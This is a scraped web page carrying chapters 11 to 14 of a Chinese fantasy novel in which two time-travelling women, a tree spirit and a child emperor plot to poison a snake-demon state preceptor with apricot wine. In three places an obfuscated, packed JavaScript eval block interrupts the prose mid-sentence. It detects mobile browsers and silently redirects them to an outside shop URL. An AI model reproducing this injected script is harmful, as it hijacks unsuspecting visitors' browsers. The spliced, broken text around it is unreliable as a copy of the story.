等坐上马车,才借着灯笼的火光勉强看清手里的东西:那是一块铜制的腰牌,正面是凸起的云纹,背面刻着个“御”字。
林千平不解,摩挲着手里心心念念的进宫许可证陷入深思。
这感觉就像是老板突然给你转了笔数额不小的钱,你想要,又不太敢要,决定不要了吧他又说让你拿着。问他为什么还没人回复你,你收了钱就控制不住开始猜老板的意思,他究竟是要开你,还是要坑你呢?
伴君果真如伴虎啊!小老虎怎么就不算虎呢?
林千平挠着头烦躁了一路,直到临睡前才把自己哄好。
行吧,至少王清虞能吃上桂花糕了。
11. 古代
隔天早起,林千平还是犹豫了一会儿到底要不要进宫,她总担心这是个什么陷阱,可又想想王清虞还在里面,终是上了马车往外走。
侍卫仔细检查了牌子,林千平得以进入宫门。一路上能看到各处多了几队侍卫在巡逻,但基本都集中在皇帝的起居范围里,快到福寿宫附近可以明显感觉出差别,这片区域偶尔才有队伍经过。
林千平进了福寿宫,院子里没人,也没什么声响。她不自觉地放轻脚步缓缓移动,忽地就从西厢房传出敲木鱼的声音,给这个场景平添几分诡异的气息。
她走到东厢房门口,门是开着的,只是里面少见地立起来个山水图案的屏风,挡住了房内的情况。
小心翼翼合上房门,林千平刚转过屏风,一抬眼就猛然看见小皇帝正坐在主位上喝东西。
她眼睛一闭,无比流畅地跪了下去,像是没法子了一般叹着气说道:“臣女林千平叩见皇上。”
脑袋里什么也没想,只像大字报一般滚动盘旋着几行加粗加黑的字体:这小子不是要开我,不是想坑我,是要杀我来了!吾命休矣!!王清虞下辈子我们别当人了记得投胎成西伯利亚无人区的大石头啊我等你!
“起来坐吧。”死小鬼声音倒是比上次好听一点。林千平心里腹诽,尽量让自己面无表情地在空位上坐下。
这时候她才发现房间里还多了一人,暖白的衣袍用银线绣着杏花图案……不是杏妖又是谁!林千平也顾不上旁边还拿着个碗喝汤的小皇帝,立马瞪大眼睛用眼神给王清虞发电报。
怎么就从梦里跑出来了,什么情况?王清虞倒是情绪稳定,像是没看懂她的讯息一般心虚地笑了笑。
林千平绝望地缓缓合上眼,笑吧笑吧,正好多笑会儿,以后变成石头就笑不出来了。
终于听到瓷碗被放下的轻微响声,林千平又睁开眼盯着鞋面试图放空自己。闻朝对待妖精有什么说法来着?火烧还是沉塘啊?总不会车裂吧,哈哈。
“太妃这儿的汤不错。”小皇帝点评道。
给我也来一碗吧,断头汤。林千平已经在祈祷不要死得太痛苦,最好是能给点神奇小丹药直接无痛转生再世也不为人。
“皇上要是爱喝,一会儿我就让七巧抄了方子送去御膳房。”王清虞不愧是当了大半年太妃的老玩家,场面话说得十分顺溜,仿佛旁边那个玩头发的妖精不存在似的。
小皇帝没再说别的,只表示不打扰太妃家人相聚,意味深长地看了眼林千平就走了。
没提腰牌,也没问杏妖的事。林千平无言,感情他真的只是突然善心大发让她们团聚?不像吧。
正想着,王清虞就喊了七巧进来收拾空碗,林千平刚回过神来准备拦她,就见小丫鬟目不斜视地穿过了站在路中间的杏妖。
好嘛,真变鬼了。
喝着芋圆红豆奶茶,林千平把自己做的桂花糕也铺在桌上。
杏妖还变不出实体吃东西,只能可怜兮兮地在一旁闻闻味道。王清虞吃下两块桂花糕,满意地直点头。林千平用勺子拨拨碗里的芋圆,这东西吃起来没那么q弹,但做得倒也像模像样的。
“小孩生着病呢,你还敢给他吃这个?”
王清虞喝了口茶顺顺嗓子,无奈地回答:“我正吃着呢他就来了,都没人提前通报的。我跟他客气一下,他还真点头了,谁敢拦啊!”红豆芋头什么的都好说,这牛奶可是按份例领来的,她自己都还没吃够呢。
林千平嘴里嚼吧嚼吧红豆,又用下巴点点旁边坐回位置上的杏妖:“那他呢?”
杏妖见终于有人注意到他,立马积极起来:“我能出现在梦外边了!”
林千平:“嗯嗯好好,我还没瞎。”
树听不懂人类的阴阳怪气,又补充解释道:“我出来有十天了,不过现下只有你们俩能看见我。再过段时间我就能化出实体,也能离开这个院子了!”
他这边得意洋洋地说着,王清虞在一旁满脸“孩子长大了终于会走路了”的表情慈爱地看着他,林千平一时间竟插不进这奇诡的氛围里,只好随口转移话题:“酒呢?应该好了吧?”
一提起这个王清虞就来精神了,献宝似的拿出坛子盛了小半碗非要她尝尝,嘴里还要劝她:“没毒的没毒的,人喝了没事,好喝的。”林千平本想尝个味道就算了的,但香味确实诱人,王清虞又跟下咒似的催眠她,于是端起碗来就豪迈地一口气全干了。
这酒的确香气浓郁,入口顺滑,还带着股杏子的甜味。只是再怎么香甜这也是拿酒泡出来的,闻朝已经有了度数不低的蒸馏酒,大口尝起来还是有些扎嘴。林千平皱着眉头咽下酒液,挥挥手让把坛子盖回去,又想起些什么,问道:“你尝过了?不怕过敏?”王清虞浑不在意地回答:“没事就一点,都没上脸呢。”
王清虞的体质是有些酒精过敏的,但这人怪又怪在喝到一定量了才会起皮疹,本人还又菜又爱喝,大学时每次聚会林千平都得分出半个脑袋留意着让她别喝太多。
帮忙藏好酒坛,林千平又揣摩起小皇帝的意思来。
在这权力无限集中的环境下,人与人之间不得不把心眼子当球一样抛来抛去地说话。说饿了不是饿了,是想杀你;说开饭不是开饭,是要开你;只有说杀你才是真的可能要杀你……
再怎么叫人家小孩他也是个皇帝,虽然更大的实权不在手里,但要治她的罪那可是绰绰有余了。林千平嘴里念念有词地想了一会儿,大脑实在空荡,干脆闲聊起来:“你八岁的时候在干嘛呢?”
王清虞手里拿着个绣绷不知道在绣什么,头也没抬地回她:“不知道,逃课吧?”
“那么早就?”林千平讶然。
“补习班,那个外教香水味太重了,我又不好意思说,每天装肚子疼头疼,然后溜出去吃冰淇淋。”
林千平:“人之常情。”
毕竟冰淇淋真的很好吃。
她又想想自己的八岁,小学二年级,最大的烦恼顶天了也就是数学作业不会写要挨老师的骂。到了暑假每天都在镇上疯跑,跑累了就去房后山上找野果抓虫子。再晒的日头也拦不住小孩们自由撒野的心,就是流了满头满脸的汗也只觉得畅快异常。
八岁真的太小了,在现代人的意识里,这甚至连初升的太阳都算不太上,顶多就是个天光微亮的拂晓时分。
那么小的屁孩,脑袋瓜里每天想着的无非就是如何吃喝玩乐、招猫逗狗。皇帝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228586|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
呢?他是不是偶尔也会像普通的八岁小孩一样,想些属于孩子的事情?
闻韫在想那碗甜汤。
他从地下通道悄悄回到了御花园,昨天没有喝茶,因此今天身体还算舒适,足以支撑他走这么长的路。
通道的门开在两座假山之间,他从缝隙里挤出来,小心地拂去身上的灰尘。王鸿德在旁望风,听到动静赶紧拿着大氅过来。
闻韫向他摆摆手,示意不穿:“今天很热。”
王鸿德只好抱着衣服跟着他走回寝宫,心里哀叹个不停,嘴上又不敢多说什么。
小皇帝看起来好说话,也没多少暴躁的脾气,但实际上性子固执得要命。这密道本是他告诉皇上,好让总是郁郁的小皇帝开心点的,没想到有了这密道却让他生着病也要往外跑。王鸿德心疼又懊恼地锤锤胸口,快步跟上进了宫殿。
进了房,闻韫就让人立刻奉茶来,自己则利落地脱了衣服褪了鞋,坐在床边等茶。王鸿德捡了袍子又捞起腰带,忙里偷闲地还给皇帝把大氅给披上了。
茶来得也快,闻韫仔细留意了上茶的宫女,确定是熟悉的面孔,这才接过茶碗慢慢喝下。
他不知道茶里加的是什么药,喝起来没什么异味,茶汤也没有色泽变化。如果不是第一次有些粉末没有彻底化开,他应当是发现不了的。
喝干茶水,闻韫躺回被子里,有些疲惫地合上眼。那一次他本以为是毒药,满心期待地喝了。结果只是呕吐发烧,身体虚弱而已。他怯懦,所以做不到杀了自己,可怎么等了好久终于等来的,却也是个软弱的杀手呢?
这药好像真的只想让他生病受苦,除了第一回烧了两天,其他时候都只令他陷入昏睡。偶尔清醒时,闻韫能发觉国师并没有再进行那种令人恐惧的仪式,他这才开始主动留意奉茶的宫女。
说来还得谢谢她吧?闻韫在陷入梦境前迷迷糊糊地想。
他好像是,第一次吃完一整碗甜汤 ……
魏汀在都城没待多久就要启程去往北方。林千枋送给他一把护身用的匕首,刀鞘上刻着水纹和弯月。蒋易阳拿出珍藏的好酒,又摆了宴席把三人聚在一起。
一晚的觥筹交错、欢声笑语下来,几个人都有些醉意。魏汀少见地没再眯着眼睛,一双颜色偏浅的瞳仁定定看着手里的酒杯。
他不是个情感外露的人,但今夜这样的氛围总会催促着你说些少见的心里话。
“照月兄,黔渊兄。谢谢你们,真的……”琥珀色的眼睛就泡进泪水里,引得另两人也跟着红了眼。
他们都清楚这声感谢指的并非这场宴席,而是在谢这多年亲密无间的情谊,谢彼此还能存着的那颗无比珍贵的初心。
魏汀的父亲被丞相以莫须有的罪名谋害,全家一夜之间便失去所有仰仗和地位,是林千枋暗中接济才让他们一家得以落脚在都城南边的小县里。
蒋易阳找上他的时候,魏汀没有丝毫犹豫地就答应了。
他同样了解他的朋友,这不是利用,是在给他拿刀的机会。
今夜没有月亮,风也吹得萧瑟。此去一别,还能有再见的时候吗?
我亲爱的朋友啊,路上可千万记得保重身体,常报平安。
12. 古代
堍县距都城三百里,已是极近的距离。气候和饮食也与都城差异不大,不好再拿水土不服的借口拖延,蒋易远干脆让队伍生起“传染病”来。
十一月底的天气寒冷干燥,好在找到了个隐蔽的山谷扎营,魏汀也及时送来补给。他对弟弟的这个好友印象并不深刻,他们几人相约出游的时候,这孩子好像总是不远不近地坠在后面,偶尔有兴趣了才会开口说上几句。
听说这几次送来的物资都是他在各地摧毁大蛇教集会点后搜集来的,又经过这段时间的相处,蒋易远对他的性格终于明了起来。
沉默、稳重、忠诚,总爱眯着眼睛笑脸迎人,实际也能笑着就把阴招给使了。不喜欢冲突,所以会自己做那个先动手解决矛盾的人。解决方式嘛,偶尔倒也挺简单粗暴的。
蒋易远看着正坐在火堆边烤野味的魏汀,算是明白了这种看上去十分内敛的孩子怎么会和自家性格莽撞的弟弟玩在一块,原来竟是臭味相投。
这边还在想着,那边就有士兵前来禀报发现有可疑车辆正要进入山谷。魏汀见状立刻放下手里的肉串,带上佩刀向蒋易远表示由他前去查看。
那是辆简单的马车,篷布朴素没有花纹,车前的门帘被什么东西顶得突出一块,里面不像坐着人,倒像是塞满了行李。
赶车的是个脸上裹着布条的男人,上一块包住脑袋,下一块挡住口鼻,只露着双眼睛四处张望。魏汀和士兵躲在山坡附近的大石后面,看着那人停下马车,下来在草丛里四处翻找。魏汀警觉地盯着他,果然看见这人从草里拿出几块石头看了看,又随手丢回原处。
“他又要往里靠近了,再进去就是弓兵哨点,我们要不要先……”旁边的士兵比划了个砍头的动作,魏汀笑着摇摇头,拍拍他的肩膀:“不怕,这个咱们得要活的。”
说完就大剌剌走到山脚,朝那人靠近。这里的路已经被他们清理过一些,但要走马车还得需要依靠赶车人的技巧才能顺利通过。这个男人看起来并不知道该怎么走这样的路,竟然站在原地和马匹商量了起来:“你看,咱们的车呢有这么宽,轮子呢是在你蹄子的左边和右边这个距离外……”
魏汀已走到离他不远的地方,背着手等人发现自己。男人叽里咕噜地讲了一通,也不管马有没有听懂,转身就要上车。一扭头才发现身后站了个人,拿缰绳的手顿了顿,随即立刻喜滋滋丢了绳子朝那人跑去。
“屿生!生生!是你吗?太好了,总算让我找到了!”魏汀拦住他要拥抱自己的手,笑眯眯地拽下他脸上松了些的棉布,终于又看到那张熟悉的脸。
白皙的双颊上冻出两坨红晕,眉眼深邃漂亮,浓密纤长的睫毛上挂着些小水珠,不知是汗还是露水。这位便是都城有名的貌美皇子,闻奕。
世人皆知三皇子长相雌雄莫辨,美得惊为天人,若是走在都城主街上都能被姑娘们抛来的香囊信物给砸晕过去。现下这位知名美男却留着把凌乱的胡子,上边还沾着些草秆和灰尘,造型颇像是个性格不羁的农夫。
有士兵来帮忙赶车,闻奕就跟着魏汀步行进入山谷。他一路上都在絮絮叨叨地说着自己是怎么到了最近的村镇,怎么打听到队伍的行踪,又是怎么在这附近发现魏汀留下的记号,怎么和马商量着才走进这片山里……
林千平若是在场定会同情起魏汀来——这位皇子话痨的样子和林千枋也太像了!
只是林千枋最多也就在家里嘚吧嘚吧,这位爷大约是从小在深宫里头憋坏了,现下随便哪个会喘气的不会喘气的都能挨他一通说道。
等终于聊完这艰辛的一路旅程,两人也正好到了营地。
蒋易远已经接到消息,早早等在帐前。见到人来,当即整理衣装,低头躬身,郑重地行了大礼:“镖营将军蒋易远,拜见殿下。”闻奕收了笑容,差点脱口而出的“远哥”也消失在唇瓣的嗫嚅中。
周围目之所及的士兵都随着将军的动作单膝跪地,魏汀笑着退后两步,甩甩不存在的广袖,也深深地弯下腰去。
一时之间,闻奕只能看到所有人冲着他行礼时的头顶。
耳边传来士兵训练的号子声,兵器相撞的锵鎯声,还有山风吹过营帐时,猎猎的哀声。
那些声音忽地就越来越近,越来越响,令他头晕目眩。
良久,他才摆脱这种感觉,终于打起精神让所有人都起来,并表示今后不必多礼,将他当个普通幕僚对待即可。
闻奕嘴上这么说着,心里倒十分清楚:自己其实连幕僚这样的角色都攀不上,最多只能算是队伍冲锋时,那面飘在大家头上的旗帜罢了。
晚上,蒋易远原本安排了单独的帐篷,但被闻奕用想和朋友叙旧的理由拒绝了,说完就立马拿着自己的行李挤进魏汀的小帐篷里。
两个许久未见的好友亲亲热热地把被褥挨在一起铺好——当然,魏汀只愿意承认这是帐篷太小的缘故。闻奕满足地躺下,身体歇息了,嘴巴仍是闲不住:“有人跟我睡真好,前几天太冷我都想和红豆一块儿睡的,又怕它醒了要踩我……”魏汀仍旧不回应他,只平躺着闭目养神。
闻奕见无人答复,明白这是魏汀想要休息的意思。于是乖乖地闭上嘴,找到舒服的姿势准备入睡。一个人赶路常常睡在野外,他一直是保持着半梦半醒的状态休息的。现下终于到了个能好好睡觉的地方,眼睛刚合上就立刻失去了所有知觉。
旁边闹腾的嘴巴终于发出规律的呼吸声,魏汀睁开眼望着帐篷顶发呆。闻奕的性格跳脱得不像是个在宫里长大的皇子,他们几个能玩到一块儿去,其实也要归功于他这种有些脱线的个性。
读书时,那些世家子弟多少都会根据家里的站队早早地就去巴结皇子们,闻奕身边也有不少这样的人。但他通常只是礼貌地应和几句,然后又跑来和角落里的魏汀说小话。
不是他们选择了三皇子,是三皇子选中了他们。
魏汀偶尔也会幻想,假若闻奕不是皇子,又或者说,假如现在的皇帝是他,一切会不会有所不同?
都城南面有片不高的山群,离隐亭湖不远,风景秀丽物产丰富,同样是王公贵族们打猎郊游的好去处。山中有道溪流,水质干净清冽,水量丰沛,即使是在少雨的旱季也不见其消瘦。除了降雨补充外,这条溪流的水量实际上主要来源于山体内部的地下暗河。
从最高那座山陡峭的东面向下攀爬,可以在山腰处找到个不大的凹陷,仔细观察就能在山岩中间发现一处人为挖掘的痕迹。正确触发机关,即可进入到山体内。
螣禹是无意间发现这个天然洞穴的。将入口改造后用机关锁封住,这里就成为独属于他的秘密藏身之处。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228587|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
山洞内常年保持在适中的温度,又有暗河流过,潮湿阴暗,却也不会太冷,十分符合他的习性。每当需要静心调息的时候,他都尽可能赶来这里休息。
此时,他正坐在一张由整块黑曜石打磨而成的床榻上打坐消化刚刚吸来的阳气。粗大的蛇尾时隐时现,右手上遍布的黑色蛇鳞正泛着紫色的异光。
一阵扭曲的呻吟声之后,蛇尾终于彻底消失不见。螣禹脱力瘫坐着,汗水不断从头顶滑到下巴,最后滴在衣襟上,洇出一滩深色的痕迹来。他摇摇晃晃地站起身,手上的蛇鳞回缩到小臂处,用衣袖就能遮住。第七层快建好了,他还得去挑选之后要镶嵌在塔内的宝石。
可刚走出山门,蛇鳞又从皮肉中翻长出来,从额头蔓延至颧骨,从肩胛长到了后腰。普通人的阳气终究无法与他完美融合,即使加倍吸取也只是勉强够用。
小皇帝的八字正好和他互补,又生于正午,还是个童子,每天只半个时辰就能让他完全恢复人形。不会有更好的选择了……可偏偏,可偏偏!
他极力控制住情绪,随手变出个面具戴好,极快地从城郊回到皇宫。
此时已是皇帝休息的时间,寝宫里只留着几盏小灯,房内烧着地龙,空气温暖而干燥。
闻韫还在入睡前夕,朦胧间又感觉到那双柔软的手在抚摸自己。头顶、额头、有些冻疼了的耳朵、最后是燥热的脸颊。
这手冰凉舒适,就好像、就好像——就好像两根铁钳,紧紧掐住他的双颊令他张开嘴来。
他刚从梦中清醒过来的眼睛还模糊不清,只能隐约看到昏暗的床边掐着自己的人戴着面具,金色的缝边反着微光。但即使不用眼睛去看也能通过这冰凉的体温知道,这是他那位喜怒无常的国师大人。
生病的这段时间,闻韫过得其实算得上开心。国师为了他的身体,不再每天进行那种令人恐惧的仪式。尽管经常见不到面,螣禹也总会在晚上来他的房里和他说些关心的话。会耐心听他提要求,会摸摸他的脸让他早点好起来,也会贴贴他的额头,看看有没有在发烧。
闻韫不知道自己怎么了,明明恨他恨得巴不得杀了他再捅死自己,可当他再次看到那双漂亮的桃花眼弯起来时,又会跟着笑出来。
这短暂而又贫乏的人生里,母亲是他、父亲是他、老师是他、朋友是他,凶手也是他。
闻韫想不明白为什么会得到这样极端的对待,却也只能无力地接受一切。
他想要爱,于是任由自己滑向无边的深潭;他又想要自由,便只好在黏稠的潭水里不断挣扎。
他想要……或许只是想要这片黑暗结束。
螣禹放下昏迷的皇帝,感受着蛇鳞重新钻入体内的疼痛,满意地长舒一口气。要想建塔,就只能装模作样地当个人。
他并不喜欢人类,也从没觉得能化人形是什么天大的好事。他的目标更高,高到这些烂泥般的人类永生永世都无法企及。
无论是国师的身份,还是所有他见过的人,都只是这条路上的垫脚石罢了。
他的鳞片还未全消,但也足够稳定身体。小皇帝病好了不少,护身龙气也不再具有强烈的攻击性,他早该这么做的。
快了。他轻轻把小孩脸上被汗打湿的碎发拨开,心里想着。
很快,一切就都结束了。
13. 古代
林千平在等。
每天起床后都要披着袄子跑到窗边张望一会儿再去穿衣,白天在屋里坐着坐着也会突然溜达到门口探头探脑地往上看。
她在等下雪。
林千平是南方人,老家气候温暖,没有四季分明的说法,住在海拔较低的镇子上也见不到雪。好容易离家上大学,结果考去了更南的地方。王清虞是那边的本地人,但她常去旅游,偶尔会提起见过的雪景。
大雪当真会像鹅毛一样飘满天空;新下的粉雪手感像细腻的刨冰;雪停时走出房门,凌冽的冷气打在脸上,要你看清这片近乎已经空白的世界。
气味、温度、触觉…林千平认为,如果无法用全身感官一齐体验,即使看过再多视频和图片,都不能说自己真的见过下雪。
只可惜,都城今年冬天较往年来说更加干燥。即使温度已经达标,大气中缺乏水分,也就没法变出雪花来,林千平便只好在家日日仰着脑袋等待。
天气太冷,人本身就爱犯懒,她也不好经常折腾家里的车夫——毕竟人家赶车是要坐在车厢外边的。于是和王清虞约好一周见个两回,知道彼此还健在就行。
她们暂时还没有很好的办法接近国师,更不用说劝他喝酒了。国师行踪诡异,身边从不带人伺候,饭食也是由固定的几个厨子专门制作和传菜。
王清虞派七巧探查过,那些人的嘴巴比罐头还紧,除了必要的时候平时就连彼此之间都不常说话。七巧只能经常利用领要东西的名义跑去御膳房偷偷留意他们送出去的餐食,只是观察了几天都没发现有酒。
这人不会不喝酒吧?
王清虞和她分析过这件事,还十分严谨地通过其他宫人表述的信息交叉比对。最终却也只能无奈地承认:这位国师或许真的十分自律,滴酒不沾。
为此,王清虞严肃批评了杏妖这件必须用酒才能激发效果的残次品发明,收回了对他的表彰和夸奖,处以不准再现身于现实世界的惩罚,直到拿出可行的解决方案为止。林千平则表示,这妖不太对劲,的确得谨慎观察一段时间才能确定是否值得信任。
罪人杏妖听不懂,但即使心里委屈也只能乖乖照做,毕竟他现在还得靠着两位世外之鬼的灵魂供养才能逐渐恢复身体。
现下,林千平只好把希望放在蒋易阳身上。先不提人类能不能打过妖精,只把国师当作普通人来看,以他们的舆论支持和武力资源,推翻这个荒唐的执政者胜算倒是不小。
她也曾旁敲侧击地问过林千枋,结果被一眼看穿是想要打探军情。这位兄长也不知是太过宠爱妹妹,还是发现她也有想要参与的打算,终于愿意松口告诉她一些大致的行动信息。
比如皇宫里的禁卫军被替换了部分,比如蒋易远的队伍已经躲在更近的山里待命,又比如,他们准备在大雪的时候行动。
雨雪天气事实上并不适合作战突袭。视野范围太小、天气寒冷潮湿阻碍行动等不利因素,都是指挥者本该避免的。林千平直觉这时间选得不对,问了却只得到“雪天对我方极为有利”的回答。
难道这些将士特别擅长在雪地作战?
可如今天公不愿作美,一群人就只能每天抬着头干等。
这都什么事儿啊?
林千平盘腿坐在铺着锦面软垫的贵妃榻上,手里烦躁地捏着两个干核桃。
“喂,不吃别玩啊。”王清虞拿手里的小锤敲敲铺着块帕子的桌面,随即又朝她伸手要那俩核桃。林千平没看她,机械地把手里的东西交出去,继续沉浸在自己的思绪里。
任务如果不能完成,究竟是会死,还是会继续留在这个世界呢?
假如没有完成,那就说明他们计划进入皇宫的行动要么完全失败、要么只成功了一部分,无论是哪种情况,蒋易远的军队一定会进入都城,和国师麾下另一位将军的队伍打起来。
百姓……百姓,她总算明白蒋易阳当初所说的不惜任何手段究竟是什么意思。这人没把自己的命放在眼里,却也从没把其他人的安危放在心上。
“成功的路上总有牺牲,需要以部分人的利益换取更多人的生存…”他看起来就像是会说出这种话的人。
这样的结果极大可能要被判定为任务失败,何况国师的真实身份特殊,她曾找过不少有名的道士和尚求解,可给出的方法不是画阵咒妖,就是直接使用武器物理攻击。
下咒毫无动静,行刺只嫌命短。折腾来折腾去,就连林千枋也怀疑起妹妹的精神状态来。
也不是没想过把消息透露出去,只是那时的林千枋已经开始用对待病人的态度和她说话,而自从茶楼一聚后,林千平也再没见到过蒋易阳。
难寻更好的办法了,果然还是要让他喝酒吗……
“什么酒?”一个听起来有些稚嫩的声音说道。林千平顾不上反应自己把思考的话说出来多少,又听见王清虞的问候声:“这么冷的天,皇帝如何来了?”
林千平滑下榻,简单行了礼:“陛下万福金安。”小皇帝脱了斗篷和大氅,随便摆摆手就找了位置坐下。
这小孩不知道是被那碗奶茶所折服,还是实在找不到人陪他玩,这已经是林千平第五次在福寿宫碰到他来串门了。
每次来也不主动说话,就好在这儿吃喝点什么。导致林千平极度怀疑是御膳房克扣皇帝饮食,虐待还在发育期的弱小儿童,才让小孩时不时的就要跑来这里吃点好的打打牙祭。
次数多了,王清虞这个自来熟就受不住沉默,经常和小皇帝说些有的没的的家常废话,小孩也都一一回应着。林千平逐渐在这种熟悉的走亲戚氛围里放松下来,偶尔不咸不淡地接上一两句茬。
“什么酒?”小皇帝舒服地坐在放着软靠枕的圈椅里,脚尖刚能贴着地板,显得颇有些乖巧。他一边吃起剥好的核桃,一边又好脾气地继续问了问。
林千平正在“皇帝一般几岁开始喝酒的”和“小屁孩喝酒影响发育别问了没你事”的头脑风暴里纠结着,忽然从关紧的窗户旁吹过一阵带着花香的凉风,杏妖开心的声音就在房内响起:“我想到办法了!”
王清虞神色如常地无视他,继续哆哆敲着核桃;林千平还在紧急思考语言的艺术,懒得起来把他赶出去。二人都没发现刚刚还在吃核桃的小皇帝已经停下动作,往日镇定自若的小脸难得挂上些惊愕,和杏妖一对上眼,就不自觉喃喃道:“你是谁?”
两个大人终于如梦初醒般抬起头,就见杏妖浮在半空中活泼地左飘飘、右飘飘,小孩儿的脑袋就和向日葵追太阳一样跟着他左转转、右转转。林千平本想装作看不见的样子,就让这小孩以为只有自己见鬼了最好,没想到那个脑子根本没恢复的杏妖玩着玩着就兴奋地冲着她们喊:“诶,他能看见我,你们快看……”
别看了,再看是想我俩真变成鬼来揍你吗?哎不对,他这回怎么又能看见你了?
除了小皇帝,在场的两人一妖全都顿感不妙地停住动作。但令所有人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228588|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和妖都没想到的是,这个古代小孩不但对怪力乱神的设定接受良好,还罕见地展现出了这个年龄该有的好奇心来:“你是鬼?还是妖怪?”
要不说新脑子就是转得快呢?林千平感叹,这么快就接受了吗?不惊讶一下怀疑一下害怕一下的吗?你这样真的显得姐姐们很逊耶。
杏妖看了看左右两个队友,一个已经合上眼似乎快要圆寂,另一个则定在原地假装自己是坨空气。他是个脾气温和且懂得礼貌的妖精,既然没人反对他说话,那当然要回答人家的问题了:“我是妖精,是杏树妖。”末了想想又补充道:“我是好妖精,不吃人的。”
闻韫想起见过的蛇尾和鳞片,不由自主地脱口问道:“妖精也有好的吗?”
“当然。”杏妖点点头,又挺挺胸膛:“我还要帮你们杀那个坏妖精呢。”话音刚落,王清虞手里的锤子就“当”地一声敲在桌上。林千平急忙出来转移话题:“那个酒呢,就是一种……”
“就是用来杀他的!”杏妖一提到这个就活跃得不行,嘴巴快得拦都拦不住:“我终于想起更好的办法了,其实呢换成茶水也行,汤水也行,只要……”
林千平摸不到这妖,只能一个箭步窜到他面前猛打手势要他闭嘴。
“皇上,这其实不过是戏法而已,世上没有什么妖精的……”王清虞干巴巴地笑着解释,企图用些哄小孩的话糊弄过去。只是越说心里越没底,声量也逐渐变小。
闻韫没有搭理他们,原本靠坐的身体此刻微微向前倾着,目光直勾勾地盯着某个不重要的地方,嘴巴不时微微张开似乎想要说话。他出神了多久,林千平就扭着身子在地上跪了多久。终于,他不知想到了什么,表情从茫然缓缓变成有些不正常的冷静。他坐直身体,眼神平淡地看向跪着挡在杏妖面前的林千平,终于开口:“你们要杀的,是国师?”
明明是疑问的语气,林千平却听出了肯定的意思。她实在无法回答这个问题,也不知如何解决现在的情况,只好跪在地上无言地直视着这位少年帝王的眼睛。
皇帝没有得到回应,但似乎又从对视之中得到了答案。
沉默像蒸汽般蔓延在屋子里,闷得人喘不上气。
良久,小皇帝敲敲扶手:“把酒给我。”林千平大松一口气,眼神示意王清虞去拿酒坛分装。
国师和皇帝关系,在坊间有许多不同的说法。但无论好坏,都是在同一个前提之下展开的:皇上的母妃早逝,是国师将皇帝带在身边一手养大。现下只说要没收作案工具,已是幸运至极,也不知道以后还会不会再杀回头判个重罪。林千平跪在地上暗自盘算着假若真的要被治罪,该如何陈述才能把王清虞尽可能地摘出去。
就在她脑中激烈演练的时候,王清虞已经把装好的小壶杏酒捧到了皇帝面前。小皇帝穿好斗篷,接过酒壶小心地放进衣服里。也未再多做停留,确认院内无人后便要准备离开。
临走之前,只留下一句振聋发聩的低语:
“我会让他喝的。”
林千平恍若隔世般站起身走到还未关上的房门前,看着皇帝走过拐角。
眼前有很多颜色,红色的柱子、金黄的墙瓦、常绿的植物。看是都看到了,却没有一个景物能进入脑子里。
终于有风刮进房间,一点凉意化在脸上。她如梦初醒,抬头去看。
初雪似米粒般从青白的天空飘落,在红、黄、绿色的映衬下格外显眼。
雪来了。
14. 古代
一场小雪,让所有人都精神振奋起来。只是这雪总下得细细碎碎,快到冬至时才变得更大些。
林千平如愿看到了纷飞的鹅毛和银装素裹的雪地。
有这么一天清晨醒来,忽然就觉得屋外照进来的光比平日强了不少。走到窗边,隐约能透过窗户纸模糊地看见一片亮白。迫不及待地穿戴齐整,像拆礼物似的慢慢打开房门——变得陌生而新鲜的世界就这么出现在眼前,令人不自觉地笑出声来。
冬至这天,雪难得停了。天虽然没有放晴,但好在无风,即使外出也不至于太冷。林府上下忙了好几天,采买食材和物品,为冬至做准备。徐芝年放了大部分佣人回家团圆,剩下还在府里的基本都是些无家可归的可怜人。
冬葵家离得不远,过节前一天才跟车离开,走之前还不忘教会林千平怎么梳个最简单的发髻。林千平学是学会了,等轮到自己来梳时又没了耐心。实在举得手酸,干脆随便用根簪子盘了头发,起身准备去祠堂帮忙。
正从屋内往外走,就看到林千枋拿着个竹子做的画筒过来了。他今天穿得格外素净,黑色大氅里是件没有花纹的深蓝色棉袍,身上脖子上都干干净净的,什么金玉宝石都没有。林千枋三两步走到屋檐下,见妹妹一动不动地盯着他看,也低头瞅瞅自己:“喔!刚回来,没来得及换,你等我一会儿。”随即抬脚就要回去换衣服。
林千平赶紧揪住他,连连摆手:“不不不就这样,这样特别好看!”林千枋立时就乐了,美滋滋地调转脚步走进房间。
到了屋内,他才打开手里的画筒,从里面拿出个卷轴展开,原是一幅梅花样式的九九消寒图。
